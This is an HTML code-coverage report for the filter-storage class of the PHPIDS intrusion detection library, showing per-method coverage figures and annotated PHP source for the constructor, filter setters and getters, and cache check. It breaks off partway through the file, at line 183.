"-//W3C//DTD HTML 4.01 Transitional//EN"> - -<html lang="en"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> - <title>PHPIDS</title> - <link rel="stylesheet" type="text/css" href="style.css"> - <link rel="stylesheet" type="text/css" href="container.css"> - <script type="text/javascript" src="yahoo-dom-event.js"></script> - <script type="text/javascript" src="container-min.js"></script> - </head> - - <body class="yui-skin-sam"> - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="title">PHPIDS</td></tr> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - - <tr> - <td width="100%"> - <table cellpadding="1" border="0" width="100%"> - <tr> - <td class="headerItem" width="20%">Current file:</td> - <td class="headerValue" width="80%"><a href="index.html">/home/lstrojny/Projekte/php-ids/trunk/lib/IDS</a>/<a href="Filter.html">Filter</a>/<a href="Filter_Storage.php.html">Storage.php</a></td> - </tr> - <tr> - <td class="legendItem" width="20%">Legend:</td> - <td class="legendValue" width="80%"> - <span class="legendCov">executed</span> - <span class="legendNoCov">not executed</span> - <span class="legendDeadCode">dead code</span> - </td> - </tr> - </table> - </td> - </tr> - - <tr> - <td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td> - </tr> - </table> - - <br /> - - <center> - <table width="90%" cellpadding="2" cellspacing="1" border="0"> - <tr> - <td class="tableHead" width="30%"> </td> - <td class="tableHead" colspan="9">Coverage</td> - </tr> - <tr> - <td class="tableHead"> </td> - <td class="tableHead" colspan="3">Classes</td> - <td class="tableHead" colspan="3">Methods</td> - <td class="tableHead" colspan="3">Lines</td> - </tr> - <tr> - <td class="coverItem">Total</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">7 / 7</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="84" height="10" alt="84.96 %"><img src="snow.png" width="16" height="10" alt="84.96%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">84.96%</td> - <td class="coverNumHi">113 / 133</td> - </tr> - - <tr> - <td class="tableHead" colspan="10"> </td> - </tr> - <tr> - <td class="coverItem"><b><a href="#51">IDS_Filter_Storage</a></b></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">7 / 7</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="84" height="10" alt="84.96 %"><img src="snow.png" width="16" height="10" alt="84.96%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">84.96%</td> - <td class="coverNumHi">113 / 133</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#92">public function __construct(IDS_Init $init)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="86" height="10" alt="86.36 %"><img src="snow.png" width="14" height="10" alt="86.36%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">86.36%</td> - <td class="coverNumHi">19 / 22</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#129">public function setFilterSet($filterSet)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">4 / 4</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#143">public function getFilterSet()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#155">public function addFilter(IDS_Filter $filter)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">2 / 2</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#166">private function _isCached()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">7 / 7</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#190">public function getFilterFromXML()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="89" height="10" alt="89.80 %"><img src="snow.png" width="11" height="10" alt="89.80%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">89.80%</td> - <td class="coverNumHi">44 / 49</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#290">public function getFilterFromJson()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="75" height="10" alt="75.00 %"><img src="snow.png" width="25" height="10" alt="75.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">75.00%</td> - <td class="coverNumHi">36 / 48</td> - </tr> - - - </table> - </center> - - <br /> - - <table cellpadding="0" cellspacing="0" border="0"> - <tr> - <td><br /></td> - </tr> - <tr> - <td> -<pre class="source"> -<span class="lineNum" id="container1"><a name="1"></a><a href="#1" id="line1"> 1</a> </span> : <?php -<span class="lineNum" id="container2"><a name="2"></a><a href="#2" id="line2"> 2</a> </span> : -<span class="lineNum" id="container3"><a name="3"></a><a href="#3" id="line3"> 3</a> </span> : /** -<span class="lineNum" id="container4"><a name="4"></a><a href="#4" id="line4"> 4</a> </span> : * PHPIDS -<span class="lineNum" id="container5"><a name="5"></a><a href="#5" id="line5"> 5</a> </span> : * -<span class="lineNum" id="container6"><a name="6"></a><a href="#6" id="line6"> 6</a> </span> : * Requirements: PHP5, SimpleXML -<span class="lineNum" id="container7"><a name="7"></a><a href="#7" id="line7"> 7</a> </span> : * -<span class="lineNum" id="container8"><a name="8"></a><a href="#8" id="line8"> 8</a> </span> : * Copyright (c) 2008 PHPIDS group (https://phpids.org) -<span class="lineNum" id="container9"><a name="9"></a><a href="#9" id="line9"> 9</a> </span> : * -<span class="lineNum" id="container10"><a name="10"></a><a href="#10" id="line10"> 10</a> </span> : * PHPIDS is free software; you can redistribute it and/or modify -<span class="lineNum" id="container11"><a name="11"></a><a href="#11" id="line11"> 11</a> </span> : * it under the terms of the GNU Lesser General Public License as published by -<span class="lineNum" id="container12"><a name="12"></a><a href="#12" id="line12"> 12</a> </span> : * the Free Software Foundation, version 3 of the License, or -<span class="lineNum" id="container13"><a name="13"></a><a href="#13" id="line13"> 13</a> </span> : * (at your option) any later version. -<span class="lineNum" id="container14"><a name="14"></a><a href="#14" id="line14"> 14</a> </span> : * -<span class="lineNum" id="container15"><a name="15"></a><a href="#15" id="line15"> 15</a> </span> : * PHPIDS is distributed in the hope that it will be useful, -<span class="lineNum" id="container16"><a name="16"></a><a href="#16" id="line16"> 16</a> </span> : * but WITHOUT ANY WARRANTY; without even the implied warranty of -<span class="lineNum" id="container17"><a name="17"></a><a href="#17" id="line17"> 17</a> </span> : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -<span class="lineNum" id="container18"><a name="18"></a><a href="#18" id="line18"> 18</a> </span> : * GNU Lesser General Public License for more details. -<span class="lineNum" id="container19"><a name="19"></a><a href="#19" id="line19"> 19</a> </span> : * -<span class="lineNum" id="container20"><a name="20"></a><a href="#20" id="line20"> 20</a> </span> : * You should have received a copy of the GNU Lesser General Public License -<span class="lineNum" id="container21"><a name="21"></a><a href="#21" id="line21"> 21</a> </span> : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. -<span class="lineNum" id="container22"><a name="22"></a><a href="#22" id="line22"> 22</a> </span> : * -<span class="lineNum" id="container23"><a name="23"></a><a href="#23" id="line23"> 23</a> </span> : * PHP version 5.1.6+ -<span class="lineNum" id="container24"><a name="24"></a><a href="#24" id="line24"> 24</a> </span> : * -<span class="lineNum" id="container25"><a name="25"></a><a href="#25" id="line25"> 25</a> </span> : * @category Security -<span class="lineNum" id="container26"><a name="26"></a><a href="#26" id="line26"> 26</a> </span> : * @package PHPIDS -<span class="lineNum" id="container27"><a name="27"></a><a href="#27" id="line27"> 27</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container28"><a name="28"></a><a href="#28" id="line28"> 28</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container29"><a name="29"></a><a href="#29" id="line29"> 29</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container30"><a name="30"></a><a href="#30" id="line30"> 30</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container31"><a name="31"></a><a href="#31" id="line31"> 31</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container32"><a name="32"></a><a href="#32" id="line32"> 32</a> </span> : */ -<span class="lineNum" id="container33"><a name="33"></a><a href="#33" id="line33"> 33</a> </span> : -<span class="lineNum" id="container34"><a name="34"></a><a href="#34" id="line34"> 34</a> </span> : /** -<span class="lineNum" id="container35"><a name="35"></a><a href="#35" id="line35"> 35</a> </span> : * Filter Storage -<span class="lineNum" id="container36"><a name="36"></a><a href="#36" id="line36"> 36</a> </span> : * -<span class="lineNum" id="container37"><a name="37"></a><a href="#37" id="line37"> 37</a> </span> : * This class provides various default functions for gathering filter patterns -<span class="lineNum" id="container38"><a name="38"></a><a href="#38" id="line38"> 38</a> </span> : * to be used later on by the detection mechanism. You might extend this class -<span class="lineNum" id="container39"><a name="39"></a><a href="#39" id="line39"> 39</a> </span> : * to your requirements. -<span class="lineNum" id="container40"><a name="40"></a><a href="#40" id="line40"> 40</a> </span> : * -<span class="lineNum" id="container41"><a name="41"></a><a href="#41" id="line41"> 41</a> </span> : * @category Security -<span class="lineNum" id="container42"><a name="42"></a><a href="#42" id="line42"> 42</a> </span> : * @package PHPIDS -<span class="lineNum" id="container43"><a name="43"></a><a href="#43" id="line43"> 43</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container44"><a name="44"></a><a href="#44" id="line44"> 44</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container45"><a name="45"></a><a href="#45" id="line45"> 45</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container46"><a name="46"></a><a href="#46" id="line46"> 46</a> </span> : * @copyright 2007 The PHPIDS Group -<span class="lineNum" id="container47"><a name="47"></a><a href="#47" id="line47"> 47</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container48"><a name="48"></a><a href="#48" id="line48"> 48</a> </span> : * @version Release: $Id:Storage.php 517 2007-09-15 15:04:13Z mario $ -<span class="lineNum" id="container49"><a name="49"></a><a href="#49" id="line49"> 49</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container50"><a name="50"></a><a href="#50" id="line50"> 50</a> </span> : */ -<span class="lineNum" id="container51"><a name="51"></a><a href="#51" id="line51"> 51</a> </span> : class IDS_Filter_Storage -<span class="lineNum" id="container52"><a name="52"></a><a href="#52" id="line52"> 52</a> </span> : { -<span class="lineNum" id="container53"><a name="53"></a><a href="#53" id="line53"> 53</a> </span> : -<span class="lineNum" id="container54"><a name="54"></a><a href="#54" id="line54"> 54</a> </span> : /** -<span class="lineNum" id="container55"><a name="55"></a><a href="#55" id="line55"> 55</a> </span> : * Filter source file -<span class="lineNum" id="container56"><a name="56"></a><a href="#56" id="line56"> 56</a> </span> : * -<span class="lineNum" id="container57"><a name="57"></a><a href="#57" id="line57"> 57</a> </span> : * @var string -<span class="lineNum" id="container58"><a name="58"></a><a href="#58" id="line58"> 58</a> </span> : */ -<span class="lineNum" id="container59"><a name="59"></a><a href="#59" id="line59"> 59</a> </span> : protected $source = null; -<span class="lineNum" id="container60"><a name="60"></a><a href="#60" id="line60"> 60</a> </span> : -<span class="lineNum" id="container61"><a name="61"></a><a href="#61" id="line61"> 61</a> </span> : /** -<span class="lineNum" id="container62"><a name="62"></a><a href="#62" id="line62"> 62</a> </span> : * Holds caching settings -<span class="lineNum" id="container63"><a name="63"></a><a href="#63" id="line63"> 63</a> </span> : * -<span class="lineNum" id="container64"><a name="64"></a><a href="#64" id="line64"> 64</a> </span> : * @var array -<span class="lineNum" id="container65"><a name="65"></a><a href="#65" id="line65"> 65</a> </span> : */ -<span class="lineNum" id="container66"><a name="66"></a><a href="#66" id="line66"> 66</a> </span> : protected $cacheSettings = null; -<span class="lineNum" id="container67"><a name="67"></a><a href="#67" id="line67"> 67</a> </span> : -<span class="lineNum" id="container68"><a name="68"></a><a href="#68" id="line68"> 68</a> </span> : /** -<span class="lineNum" id="container69"><a name="69"></a><a href="#69" id="line69"> 69</a> </span> : * Cache container -<span class="lineNum" id="container70"><a name="70"></a><a href="#70" id="line70"> 70</a> </span> : * -<span class="lineNum" id="container71"><a name="71"></a><a href="#71" id="line71"> 71</a> </span> : * @var object IDS_Caching wrapper -<span class="lineNum" id="container72"><a name="72"></a><a href="#72" id="line72"> 72</a> </span> : */ -<span class="lineNum" id="container73"><a name="73"></a><a href="#73" id="line73"> 73</a> </span> : protected $cache = null; -<span class="lineNum" id="container74"><a name="74"></a><a href="#74" id="line74"> 74</a> </span> : -<span class="lineNum" id="container75"><a name="75"></a><a href="#75" id="line75"> 75</a> </span> : /** -<span class="lineNum" id="container76"><a name="76"></a><a href="#76" id="line76"> 76</a> </span> : * Filter container -<span class="lineNum" id="container77"><a name="77"></a><a href="#77" id="line77"> 77</a> </span> : * -<span class="lineNum" id="container78"><a name="78"></a><a href="#78" id="line78"> 78</a> </span> : * @var array -<span class="lineNum" id="container79"><a name="79"></a><a href="#79" id="line79"> 79</a> </span> : */ -<span class="lineNum" id="container80"><a name="80"></a><a href="#80" id="line80"> 80</a> </span> : protected $filterSet = array(); -<span class="lineNum" id="container81"><a name="81"></a><a href="#81" id="line81"> 81</a> </span> : -<span class="lineNum" id="container82"><a name="82"></a><a href="#82" id="line82"> 82</a> </span> : /** -<span class="lineNum" id="container83"><a name="83"></a><a href="#83" id="line83"> 83</a> </span> : * Constructor -<span class="lineNum" id="container84"><a name="84"></a><a href="#84" id="line84"> 84</a> </span> : * -<span class="lineNum" id="container85"><a name="85"></a><a href="#85" id="line85"> 85</a> </span> : * Loads filters based on provided IDS_Init settings. -<span class="lineNum" id="container86"><a name="86"></a><a href="#86" id="line86"> 86</a> </span> : * -<span class="lineNum" id="container87"><a name="87"></a><a href="#87" id="line87"> 87</a> </span> : * @param object $init IDS_Init instance -<span class="lineNum" id="container88"><a name="88"></a><a href="#88" id="line88"> 88</a> </span> : * -<span class="lineNum" id="container89"><a name="89"></a><a href="#89" id="line89"> 89</a> </span> : * @throws Exception if unsupported filter type is given -<span class="lineNum" id="container90"><a name="90"></a><a href="#90" id="line90"> 90</a> </span> : * @return void -<span class="lineNum" id="container91"><a name="91"></a><a href="#91" id="line91"> 91</a> </span> : */ -<span class="lineNum" id="container92"><a name="92"></a><a href="#92" id="line92"> 92</a> </span> : public final function __construct(IDS_Init $init) -<span class="lineNum" id="container93"><a name="93"></a><a href="#93" id="line93"> 93</a> </span> : { -<span class="lineNum" id="container94"><a name="94"></a><a href="#94" id="line94"> 94</a> </span><span class="lineCov"> 42 : if ($init->config) { </span> -<span class="lineNum" id="container95"><a name="95"></a><a href="#95" id="line95"> 95</a> </span> : -<span class="lineNum" id="container96"><a name="96"></a><a href="#96" id="line96"> 96</a> </span><span class="lineCov"> 42 : $caching = isset($init->config['Caching']['caching']) ? </span> -<span class="lineNum" id="container97"><a name="97"></a><a href="#97" id="line97"> 97</a> </span><span class="lineCov"> 42 : $init->config['Caching']['caching'] : 'none'; </span> -<span class="lineNum" id="container98"><a name="98"></a><a href="#98" id="line98"> 98</a> </span> : -<span class="lineNum" id="container99"><a name="99"></a><a href="#99" id="line99"> 99</a> </span><span class="lineCov"> 42 : $type = $init->config['General']['filter_type']; </span> -<span class="lineNum" id="container100"><a name="100"></a><a href="#100" id="line100"> 100</a> </span><span class="lineCov"> 42 : $this->source = $init->getBasePath() </span> -<span class="lineNum" id="container101"><a name="101"></a><a href="#101" id="line101"> 101</a> </span><span class="lineCov"> 42 : . $init->config['General']['filter_path']; </span> -<span class="lineNum" id="container102"><a name="102"></a><a href="#102" id="line102"> 102</a> </span> : -<span class="lineNum" id="container103"><a name="103"></a><a href="#103" id="line103"> 103</a> </span><span class="lineCov"> 42 : if ($caching && $caching != 'none') { </span> -<span class="lineNum" id="container104"><a name="104"></a><a href="#104" id="line104"> 104</a> </span><span class="lineCov"> 42 : $this->cacheSettings = $init->config['Caching']; </span> -<span class="lineNum" id="container105"><a name="105"></a><a href="#105" id="line105"> 105</a> </span><span class="lineCov"> 42 : include_once 'IDS/Caching/Factory.php'; </span> -<span class="lineNum" id="container106"><a name="106"></a><a href="#106" id="line106"> 106</a> </span><span class="lineCov"> 42 : $this->cache = IDS_Caching::factory($init, 'storage'); </span> -<span class="lineNum" id="container107"><a name="107"></a><a href="#107" id="line107"> 107</a> </span><span class="lineCov"> 42 : } </span> -<span class="lineNum" id="container108"><a name="108"></a><a href="#108" id="line108"> 108</a> </span> : -<span class="lineNum" id="container109"><a name="109"></a><a href="#109" id="line109"> 109</a> </span> : switch ($type) { -<span class="lineNum" id="container110"><a name="110"></a><a href="#110" id="line110"> 110</a> </span><span class="lineCov"> 42 : case 'xml' : </span> -<span class="lineNum" id="container111"><a name="111"></a><a href="#111" id="line111"> 111</a> </span><span class="lineCov"> 41 : $this->getFilterFromXML(); </span> -<span class="lineNum" id="container112"><a name="112"></a><a href="#112" id="line112"> 112</a> </span><span class="lineCov"> 41 : break; </span> -<span class="lineNum" id="container113"><a name="113"></a><a href="#113" id="line113"> 113</a> </span><span class="lineCov"> 1 : case 'json' : </span> -<span class="lineNum" id="container114"><a name="114"></a><a href="#114" id="line114"> 114</a> </span><span class="lineCov"> 1 : $this->getFilterFromJson(); </span> -<span class="lineNum" id="container115"><a name="115"></a><a href="#115" id="line115"> 115</a> </span><span class="lineCov"> 1 : break; </span> -<span class="lineNum" id="container116"><a name="116"></a><a href="#116" id="line116"> 116</a> </span><span class="lineNoCov"> 0 : default : </span> -<span class="lineNum" id="container117"><a name="117"></a><a href="#117" id="line117"> 117</a> </span><span class="lineNoCov"> 0 : throw new Exception('Unsupported filter type.'); </span> -<span class="lineNum" id="container118"><a name="118"></a><a href="#118" id="line118"> 118</a> </span><span class="lineNoCov"> 0 : } </span> -<span class="lineNum" id="container119"><a name="119"></a><a href="#119" id="line119"> 119</a> </span><span class="lineCov"> 42 : } </span> -<span class="lineNum" id="container120"><a name="120"></a><a href="#120" id="line120"> 120</a> </span><span class="lineCov"> 42 : } </span> -<span class="lineNum" id="container121"><a name="121"></a><a href="#121" id="line121"> 121</a> </span> : -<span class="lineNum" id="container122"><a name="122"></a><a href="#122" id="line122"> 122</a> </span> : /** -<span class="lineNum" id="container123"><a name="123"></a><a href="#123" id="line123"> 123</a> </span> : * Sets the filter array -<span class="lineNum" id="container124"><a name="124"></a><a href="#124" id="line124"> 124</a> </span> : * -<span class="lineNum" id="container125"><a name="125"></a><a href="#125" id="line125"> 125</a> </span> : * @param array $filterSet array containing multiple IDS_Filter instances -<span class="lineNum" id="container126"><a name="126"></a><a href="#126" id="line126"> 126</a> </span> : * -<span class="lineNum" id="container127"><a name="127"></a><a href="#127" id="line127"> 127</a> </span> : * @return object $this -<span class="lineNum" id="container128"><a name="128"></a><a href="#128" id="line128"> 128</a> </span> : */ -<span class="lineNum" id="container129"><a name="129"></a><a href="#129" id="line129"> 129</a> </span> : public final function setFilterSet($filterSet) -<span class="lineNum" id="container130"><a name="130"></a><a href="#130" id="line130"> 130</a> </span> : { -<span class="lineNum" id="container131"><a name="131"></a><a href="#131" id="line131"> 131</a> </span><span class="lineCov"> 1 : foreach ($filterSet as $filter) { </span> -<span class="lineNum" id="container132"><a name="132"></a><a href="#132" id="line132"> 132</a> </span><span class="lineCov"> 1 : $this->addFilter($filter); </span> -<span class="lineNum" id="container133"><a name="133"></a><a href="#133" id="line133"> 133</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container134"><a name="134"></a><a href="#134" id="line134"> 134</a> </span> : -<span class="lineNum" id="container135"><a name="135"></a><a href="#135" id="line135"> 135</a> </span><span class="lineCov"> 1 : return $this; </span> -<span class="lineNum" id="container136"><a name="136"></a><a href="#136" id="line136"> 136</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container137"><a name="137"></a><a href="#137" id="line137"> 137</a> </span> : -<span class="lineNum" id="container138"><a name="138"></a><a href="#138" id="line138"> 138</a> </span> : /** -<span class="lineNum" id="container139"><a name="139"></a><a href="#139" id="line139"> 139</a> </span> : * Returns registered filters -<span class="lineNum" id="container140"><a name="140"></a><a href="#140" id="line140"> 140</a> </span> : * -<span class="lineNum" id="container141"><a name="141"></a><a href="#141" id="line141"> 141</a> </span> : * @return array -<span class="lineNum" id="container142"><a name="142"></a><a href="#142" id="line142"> 142</a> </span> : */ -<span class="lineNum" id="container143"><a name="143"></a><a href="#143" id="line143"> 143</a> </span> : public final function getFilterSet() -<span class="lineNum" id="container144"><a name="144"></a><a href="#144" id="line144"> 144</a> </span> : { -<span class="lineNum" id="container145"><a name="145"></a><a href="#145" id="line145"> 145</a> </span><span class="lineCov"> 35 : return $this->filterSet; </span> -<span class="lineNum" id="container146"><a name="146"></a><a href="#146" id="line146"> 146</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container147"><a name="147"></a><a href="#147" id="line147"> 147</a> </span> : -<span class="lineNum" id="container148"><a name="148"></a><a href="#148" id="line148"> 148</a> </span> : /** -<span class="lineNum" id="container149"><a name="149"></a><a href="#149" id="line149"> 149</a> </span> : * Adds a filter -<span class="lineNum" id="container150"><a name="150"></a><a href="#150" id="line150"> 150</a> </span> : * -<span class="lineNum" id="container151"><a name="151"></a><a href="#151" id="line151"> 151</a> </span> : * @param object $filter IDS_Filter instance -<span class="lineNum" id="container152"><a name="152"></a><a href="#152" id="line152"> 152</a> </span> : * -<span class="lineNum" id="container153"><a name="153"></a><a href="#153" id="line153"> 153</a> </span> : * @return object $this -<span class="lineNum" id="container154"><a name="154"></a><a href="#154" id="line154"> 154</a> </span> : */ -<span class="lineNum" id="container155"><a name="155"></a><a href="#155" id="line155"> 155</a> </span> : public final function addFilter(IDS_Filter $filter) -<span class="lineNum" id="container156"><a name="156"></a><a href="#156" id="line156"> 156</a> </span> : { -<span class="lineNum" id="container157"><a name="157"></a><a href="#157" id="line157"> 157</a> </span><span class="lineCov"> 42 : $this->filterSet[] = $filter; </span> -<span class="lineNum" id="container158"><a name="158"></a><a href="#158" id="line158"> 158</a> </span><span class="lineCov"> 42 : return $this; </span> -<span class="lineNum" id="container159"><a name="159"></a><a href="#159" id="line159"> 159</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container160"><a name="160"></a><a href="#160" id="line160"> 160</a> </span> : -<span class="lineNum" id="container161"><a name="161"></a><a href="#161" id="line161"> 161</a> </span> : /** -<span class="lineNum" id="container162"><a name="162"></a><a href="#162" id="line162"> 162</a> </span> : * Checks if any filters are cached -<span class="lineNum" id="container163"><a name="163"></a><a href="#163" id="line163"> 163</a> </span> : * -<span class="lineNum" id="container164"><a name="164"></a><a href="#164" id="line164"> 164</a> </span> : * @return mixed $filters cached filters or false -<span class="lineNum" id="container165"><a name="165"></a><a href="#165" id="line165"> 165</a> </span> : */ -<span class="lineNum" id="container166"><a name="166"></a><a href="#166" id="line166"> 166</a> </span> : private function _isCached() -<span class="lineNum" id="container167"><a name="167"></a><a href="#167" id="line167"> 167</a> </span> : { -<span class="lineNum" id="container168"><a name="168"></a><a href="#168" id="line168"> 168</a> </span><span class="lineCov"> 42 : $filters = false; </span> -<span class="lineNum" id="container169"><a name="169"></a><a href="#169" id="line169"> 169</a> </span> : -<span class="lineNum" id="container170"><a name="170"></a><a href="#170" id="line170"> 170</a> </span><span class="lineCov"> 42 : if ($this->cacheSettings) { </span> -<span class="lineNum" id="container171"><a name="171"></a><a href="#171" id="line171"> 171</a> </span> : -<span class="lineNum" id="container172"><a name="172"></a><a href="#172" id="line172"> 172</a> </span><span class="lineCov"> 42 : if ($this->cache) { </span> -<span class="lineNum" id="container173"><a name="173"></a><a href="#173" id="line173"> 173</a> </span><span class="lineCov"> 42 : $filters = $this->cache->getCache(); </span> -<span class="lineNum" id="container174"><a name="174"></a><a href="#174" id="line174"> 174</a> </span><span class="lineCov"> 42 : } </span> -<span class="lineNum" id="container175"><a name="175"></a><a href="#175" id="line175"> 175</a> </span><span class="lineCov"> 42 : } </span> -<span class="lineNum" id="container176"><a name="176"></a><a href="#176" id="line176"> 176</a> </span> : -<span class="lineNum" id="container177"><a name="177"></a><a href="#177" id="line177"> 177</a> </span><span class="lineCov"> 42 : return $filters; </span> -<span class="lineNum" id="container178"><a name="178"></a><a href="#178" id="line178"> 178</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container179"><a name="179"></a><a href="#179" id="line179"> 179</a> </span> : -<span class="lineNum" id="container180"><a name="180"></a><a href="#180" id="line180"> 180</a> </span> : /** -<span class="lineNum" id="container181"><a name="181"></a><a href="#181" id="line181"> 181</a> </span> : * Loads filters from XML using SimpleXML -<span class="lineNum" id="container182"><a name="182"></a><a href="#182" id="line182"> 182</a> </span> : * -<span class="lineNum" id="container183"><a name="183"></a><a href="#183" 